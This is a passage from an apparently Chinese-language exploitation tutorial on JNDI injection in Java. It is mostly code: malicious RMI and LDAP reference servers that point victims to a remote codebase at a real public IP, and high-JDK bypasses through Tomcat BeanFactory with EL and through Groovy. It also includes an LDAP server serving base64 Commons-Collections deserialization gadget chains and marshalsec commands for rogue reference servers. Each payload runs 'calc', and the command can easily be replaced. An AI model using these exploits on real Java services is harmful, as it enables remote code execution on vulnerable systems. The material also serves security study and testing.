import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;

public class RMIHello extends UnicastRemoteObject implements ObjectFactory {
public RMIHello() throws RemoteException {
super();
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

public String sayHello(String name) throws RemoteException {
System.out.println("Hello World!");
return name;
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}

}

测试环境:

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;

public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:1099/hello";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}

image-20251128140640276

LDAP + Reference

利用 Codebase 远程类加载:

1
2
3
4
// 设置远程类加载
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());

服务端:

1
2
3
4
5
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAP_Server {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://123.57.107.33:8888/#EXP"};
int port = 1234;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

远程类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EXP implements ObjectFactory {
public EXP() throws Exception{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

测试环境:

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;

public class JNDI_LDAP {
public static void main(String[]args) throws Exception{
String string = "ldap://localhost:1234/EXP";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}

image-20251128141943737

绕过高版本限制

使用本地的Reference Factory类

8u191后已经默认不允许加载 codebase 中的远程类,但我们可以从本地加载合适 Reference Factory

需要注意是,该本地工厂类必须实现 javax.naming.spi.ObjectFactory 接口,因为在 javax.naming.spi.NamingManager#getObjectFactoryFromReference 最后的 return 语句对 Factory 类的实例对象进行了类型转换,并且该工厂类至少存在一个 getObjectInstance() 方法。

Tomcat8

org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的。

org.apache.naming.factory.BeanFactorygetObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.0</version>
</dependency>

服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Tomcat8bypass", referenceWrapper);
System.out.println("Registry运行中......");

}
}

测试环境:

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;

public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:1099/Tomcat8bypass";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
Groovy

服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server_Bypass_Groovy {

public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "faster=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n", "calc");
resourceRef.add(new StringRefAddr("faster",script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Groovy2bypass", referenceWrapper);
System.out.println("Registry运行中......");
}
}

测试环境:

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;

public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:1099/Groovy2bypass";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}

反序列化

服务端:

不通过远程类加载,直接走反序列化接口。

1
2
3
// 设置序列化数据
e.addAttribute("javaSerializedData", Base64.getDecoder().decode(payload));
// 不需要设置 CodeBase 和 Factory

依赖如下:

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.14</version>
</dependency>

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;

public class LDAP_Server_ByPass_Serialize {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://123.57.107.33:8888/#EXP"};
int port = 7777;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
e.addAttribute("javaClassName", "foo");
//getObject获取Gadget
e.addAttribute("javaSerializedData", Base64.getDecoder().decode(
// "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAHnQAA0NDNXQACENDNS5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXEAfgABTAADbWFwdAAPTGphdmEvdXRpbC9NYXA7eHB0AAFhc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1lcHQACWdldE1ldGhvZHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4ALnNxAH4AJnVxAH4AKgAAAAJwcHQABmludm9rZXVxAH4ALgAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACpzcQB+ACZ1cQB+ACoAAAABdAAEY2FsY3QABGV4ZWN1cQB+AC4AAAABcQB+ADFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4"
"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"
));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

测试环境:

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;

public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
String string = "ldap://localhost:7777/EXP";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}

jndi工具 marshalsec

目前该工具只支持低版本:

marshalsec java反序列化利用工具-CSDN博客

加入 maven 阿里云依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<repositories>
<repository>
<id>aliyun</id>
<name>Aliyun Maven Repository</name>
<url>https://maven.aliyun.com/repository/public/</url>
<releases>
<enabled>true</enabled>
</releases>
<snapshots>
<enabled>false</enabled>
</snapshots>
</repository>
</repositories>

<pluginRepositories>
<pluginRepository>
<id>aliyun</id>
<name>Aliyun Maven Repository</name>
<url>https://maven.aliyun.com/repository/public/</url>
<releases>
<enabled>true</enabled>
</releases>
<snapshots>
<enabled>false</enabled>
</snapshots>
</pluginRepository>
</pluginRepositories>

编译 jar 命令:

1
2
3
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

运行 bash:

1
2
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.RMIRefServer "http://123.57.107.33:8888/#Exploit" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://123.57.107.33:8888/#Exploit" 1389

image-20251128155052903